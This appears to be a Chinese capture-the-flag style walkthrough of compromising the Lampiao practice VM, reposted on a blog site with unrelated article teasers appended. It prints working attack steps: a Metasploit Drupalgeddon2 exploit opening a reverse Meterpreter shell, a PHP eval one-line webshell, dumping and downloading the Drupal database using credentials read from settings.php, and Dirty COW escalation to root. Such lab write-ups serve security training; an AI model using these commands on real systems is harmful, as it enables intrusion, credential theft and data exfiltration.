Lampiao靶机入侵实战

07-Lampiao靶机入侵实战

一、扫描采集信息

1、获取IP地址
nmap -sn 192.168.81.0/24获得IP地址为:192.168.81.128
2、获取端口信息

由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描

nmap -p 1-65535 192.168.81.128获取端口号为:22、80、1898
3、获取主机信息
nmap -O 192.168.81.128得到操作系统版本:OS details: Linux 3.2 - 4.9,只有内核版本号的范围,没有细节
4、漏洞扫描
nmap --script=vuln  192.168.81.128无果1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、使用御剑或dirb扫描路径
┌──(root💀kaliQiang)-[/home/denny]
└─# dirb http://192.168.81.128:1898 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Dec  1 20:33:33 2021
URL_BASE: http://192.168.81.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://192.168.81.128:1898/ ----
==> DIRECTORY: http://192.168.81.128:1898/includes/
==> DIRECTORY: http://192.168.81.128:1898/misc/                                                         ==> DIRECTORY: http://192.168.81.128:1898/modules/                                                     ==> DIRECTORY: http://192.168.81.128:1898/profiles/                                                     + http://192.168.81.128:1898/robots.txt (CODE:200|SIZE:2189)                                           ==> DIRECTORY: http://192.168.81.128:1898/scripts/                                                     + http://192.168.81.128:1898/server-status (CODE:403|SIZE:297)                                         ==> DIRECTORY: http://192.168.81.128:1898/sites/                                                       ==> DIRECTORY: http://192.168.81.128:1898/themes/                                                                       
7、Acunetix扫描

爆出很多Drupal漏洞

image-20240112155528260

8、确定入侵方向

(1)Nessus并没有提供有效的入侵路线

(2)尝试爆破SSH,无果

(3)直接访问1898的网站,并没有文件上传或SQL注入等漏洞

(4)查找Drupal这套CMS系统,发现网络上存在较多Drupal有关的RCE漏洞,

根据上述漏洞描述,选择一个比较匹配Drupal 7.54版本号的漏洞(MSF中存在的)先进行尝试。

二、使得Drupal获取Shell

1 getshell

msf6> search drupal
msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.81.128
rhosts => 192.168.81.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run[*] Started reverse TCP handler on 192.168.112.148:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 192.168.81.128
[*] Meterpreter session 1 opened (192.168.112.148:4444 -> 192.168.81.128:58988) at 2021-12-01 23:37:57 +0800meterpreter >  			# 成功反弹Shell进入Meterpreter,初战告捷
meterpreter > getuid 	# 查看当前用户:www-data,普通用户
meterpreter > shell    	# 进入主机Shell,此处注意,无提示符

2 拖库

方式一

顺带拖库,根据Drupal的文件结构,查找到/var/www/html/sites/default/settings.php文件中存在数据库连接信息

$databases = array ('default' => array ('default' => array ('database' => 'drupal','username' => 'drupaluser','password' => 'Virgulino','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

尝试运行 mysql -udrupaluser -pVirgulino 进入MySQL命令提示符,可以正常登录,但是发现交互式命令不友好,无法及时回显结果。但是当运行完 show databases; 后虽然无回显,但是当输入 exit; 退出时,回显了结果,数据库名为:drupal,则执行以下命令拖库:

mysqldump -udrupaluser -pVirgulino drupal > drupal.sql运行后提示:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
/bin/sh: 62: cannot create drupal.sql: Permission denied说明www-data对当前目录没有写权限,要找一个具备写权限的目录当然是非常容易的事
mysqldump -udrupaluser -pVirgulino drupal > /tmp/drupal.sql然后下载到本地,完成拖库操作
meterpreter > download /tmp/drupal.sql /home/denny
[*] Downloading: /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.00 MiB of 1.78 MiB (56.21%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.78 MiB of 1.78 MiB (100.0%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] download   : /tmp/drupal.sql -> /home/denny/drupal.sql
方式二

也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。

使用 echo "<?phpeval($_POST['a']);?>"  > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>   
把木马文件上传到靶机

image-20240112163345238

使用蚁剑连接靶机

image-20240112163432144

image-20240112163505854

image-20240112163524066

三、使用Dirty-Cow提权

当获取到Shell后,第一步便是使用getuid来查看当前用户的权限,发现是普通用户:www-data,所以还需要尝试提权。类似于Windows的永恒之蓝漏洞一样,Linux中提权是知名的漏洞便是脏牛漏洞,尝试先从这个方向入手。

1、测试目标主机编译环境

uname -a           ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version   ==> 得知Python运行环境为:2.7.6
php -v			   ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v			   ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码

2、获取脏牛漏洞代码

image-20240115163651377

在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp

image-20240115163752380

3、尝试40847提权

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > shell
Process 2500 created.
Channel 1 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

此时,root用户的密码被临时在/etc/passwd进行了修改,密码为:dirtyCowFun

4 登录Lampiao

账号 root
密码 dirtyCowFun

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5 使用交互式环境执行

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============Mode              Size            Type  Last modified                      Name
----              ----            ----  -------------                      ----
100644/rw-r--r--  43860206036964  fil   232096135363-12-15 11:41:32 +0800  40847.cppmeterpreter > shell
Process 1428 created.
Channel 2 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls -l
total 52
-rw-r--r-- 1 www-data www-data 10212 Jan 15 06:57 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 Jan 15 06:57 dcow
python -c  'import  pty; pty.spawn( "/bin/bash")'
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFunReceived su prompt (Password: )root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58047.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DiffusionDet: Diffusion Model for Object Detection—扩散模型检测论文解析

DiffusionDet: Diffusion Model for Object Detection—扩散模型检测论文解析 这是一篇发表在CVPR 2023的一篇论文&#xff0c;因为自己本身的研究方向是目标跟踪&#xff0c;之前看了一点使用扩散模型进行多跟踪的论文&#xff0c;里面提到了DiffusionDet因此学习一下。 论文…

读数据工程之道:设计和构建健壮的数据系统21数据获取

1. 数据获取 1.1. 数据获取是将数据从一个地方移动到另一个地方的过程 1.1.1. 数据获取与系统内部获取是不同的 1.2. 数据获取是数据工程生命周期中将数据从源系统移入存储的一个中间步骤 1.3. 数据集成则是将来自不同来源系统的数据组合到一个新的数据集 1.4. 数据获取的…

数字后端零基础入门系列 | Innovus零基础LAB学习Day6

今天没有具体的数字IC后端lab实验。今天的重点是熟悉掌握静态时序分析STA中的几类timing path以及setup和hold检查机制&#xff08;包含setup和hold计算公式&#xff09;。 芯片流片失败的那些故事 数字后端零基础入门系列 | Innovus零基础LAB学习Day5 等大家把今天内容学习…

QT获取本机所有IP地址以及修改本机IP(注意区分Windows和Linux环境)

QT 获取本机所有 IP 地址 Chapter1 QT 获取本机所有 IP 地址获取本机所有 IP 地址&#xff0c;包括 IPV6的地址&#xff0c;需要引用 QNetworkInterface1.检索所有网络接口&#xff1a;2.获取接口的详细信息&#xff1a;3.获取接口的 IP 地址&#xff1a;4.用于网络诊断和监控&…

KEYSIGHT E4980A是德E4980AL 精密LCR表

Keysight E4980A 精密 LCR 表为各种元件测量提供了精度、速度和多功能性的最佳组合。 E4980A 在低阻抗和高阻抗范围内提供快速测量速度和出色的性能&#xff0c;是元件和材料的一般研发和制造测试的终极工具。 LAN、USB 和 GPIB PC 连接可提高您的设计和测试效率。 Keysight E4…

大语言模型的Scaling Law【Power Low】

NLP-大语言模型学习系列目录 一、注意力机制基础——RNN,Seq2Seq等基础知识 二、注意力机制【Self-Attention,自注意力模型】 三、Transformer图文详解【Attention is all you need】 四、大语言模型的Scaling Law【Power Low】 文章目录 NLP-大语言模型学习系列目录一、什么是…

练习LabVIEW第十九题

学习目标&#xff1a; 刚学了LabVIEW&#xff0c;在网上找了些题&#xff0c;练习一下LabVIEW&#xff0c;有不对不好不足的地方欢迎指正&#xff01; 第十九题&#xff1a; 创建一个程序把另外一个VI的前面板显示在Picture控件中 开始编写&#xff1a; 在前面板放置一个二…

iOS AVAudioSession 详解【音乐播放器的配置】

前言 在 iOS 音频开发中&#xff0c;AVAudioSession 是至关重要的工具&#xff0c;它控制着应用的音频行为&#xff0c;包括播放、录音、后台支持和音频中断处理等。对于音乐播放器等音频需求强烈的应用&#xff0c;设计一个合理的 AVAudioSession 管理体系不仅能保证音频播放…

一文详解高光谱数据python处理包spectral(SPy)

一、基本操作 读取高光谱数据文件 import spectral # 读取ENVI格式的高光谱图像 # image的后缀可以是.raw、.spe、.lan等 # 代码里img对象&#xff0c;类似于rasterio库的dataset对象&#xff0c;可以用它来读取高光谱数据 img spectral.envi.read_envi(filemy_data.hdr, im…

【LeetCode】修炼之路-0008- String to Integer (atoi)【python】

题目 基本思路 其实题目已经说了如何实现了&#xff0c;我们按照给定的思路实现即可 1. 问题四大要求详解 1.1 处理空格 (Whitespace) 忽略字符串开头的任何空格字符 (" ")例如: " 123" 应该被处理为 “123”Python实现: 可以使用 strip() 方法或循环处…

Python浪漫之星星与文字构造的错位图

效果图&#xff1a; 完整代码&#xff1a; import tkinter as tk import random import math from tkinter.constants import *width 888 height 500 heartx width / 2 hearty height / 2 side 11class Star:def __init__(self, canvas, x, y, size):self.canvas canvas…

精准医疗沟通新体验:开源语音识别(ASR)如何提升医生与患者对话

需求背景&#xff1a;一家远程医疗公司在为偏远地区提供在线医疗服务的过程中&#xff0c;发现传统手动记录方式效率太低&#xff0c;无法满足需求&#xff0c;影响就诊的效率。 解决方案&#xff1a;使用思通数科的ASR平台&#xff0c;公司可以实现多话者对话转录和自动病历生…

MySql中的事务、MySql事务详解、MySql隔离级别

文章目录 一、什么是事务&#xff1f;二、事务四大特性ACID2.1、原子性&#xff08;Atomicity&#xff09;2.2、一致性&#xff08;Consistency&#xff09;2.3、隔离性&#xff08;Isolation&#xff09;2.4、持久性&#xff08;Durability&#xff09; 三、事务操作/事务的用…

MySQL-27.多表查询-案例

一.数据准备 -- 分类表 create table category (id int unsigned primary key auto_increment comment 主键ID,name varchar(20) not null unique comment 分类名称,type tinyint unsigned not null comment 类型 1 菜品分类 2 套餐分类,sort …

今日所学1024和1026

1 简便方法&#xff1a; 在文件夹里找到dll的文件路径&#xff0c;然后在系统变量里添加对应路径&#xff0c; 就不会报错了。 2关于报Qt插件的错,解决办法如下 1026Github的2FA 超级详细的github双重验证密码忘记或者获取不了了怎么办&github recovery code忘记怎么办…

计算机网络:网络层 —— IPv4 地址与 MAC 地址 | ARP 协议

文章目录 IPv4地址与MAC地址的封装位置IPv4地址与MAC地址的关系地址解析协议ARP工作原理ARP高速缓存表 IPv4地址与MAC地址的封装位置 在数据传输过程中&#xff0c;每一层都会添加自己的头部信息&#xff0c;最终形成完整的数据包。具体来说&#xff1a; 应用层生成的应用程序…

洛谷 P3130 [USACO15DEC] Counting Haybale P

原题链接 题目本质&#xff1a;线段树 感觉我对线段树稍有敏感&#xff0c;线段树一眼就看出来了&#xff0c;思路出来得也快&#xff0c;这道题也并不是很难。 解题思路&#xff1a; 这道题能看出来是线段树就基本成功一半了&#xff0c;区间修改区间查询&#xff0c;就基…

「二叉树进阶题解:构建、遍历与结构转化全解析」

文章目录 根据二叉树创建字符串思路代码 二叉树的层序遍历思路代码 二叉树的最近公共祖先思路代码 二叉搜索树与双向链表思路代码 从前序与中序遍历序列构造二叉树思路代码 总结 根据二叉树创建字符串 题目&#xff1a; 样例&#xff1a; 可以看见&#xff0c;唯一特殊的就…

深度学习-循环神经网络-LSTM对序列数据进行预测

项目简介: 使用LSTM模型, 对文本数据进行预测, 每次截取字符20, 对第二十一个字符进行预测, LSTM层: units100, activationrelu Dense层: units输入的文本中的字符种类, 比如我使用的文本有644个不同的字符, 那么units64 激活函数: 因为是多分类, 使用softmax 因为这是最…

使用Vue.js构建响应式Web应用

&#x1f496; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4bb; Gitee主页&#xff1a;瑕疵的gitee主页 &#x1f680; 文章专栏&#xff1a;《热点资讯》 使用Vue.js构建响应式Web应用 1 引言 2 Vue.js简介 3 安装Vue CLI 4 创建Vue项目 5 设计应用结构 6 创建组件 7 使用…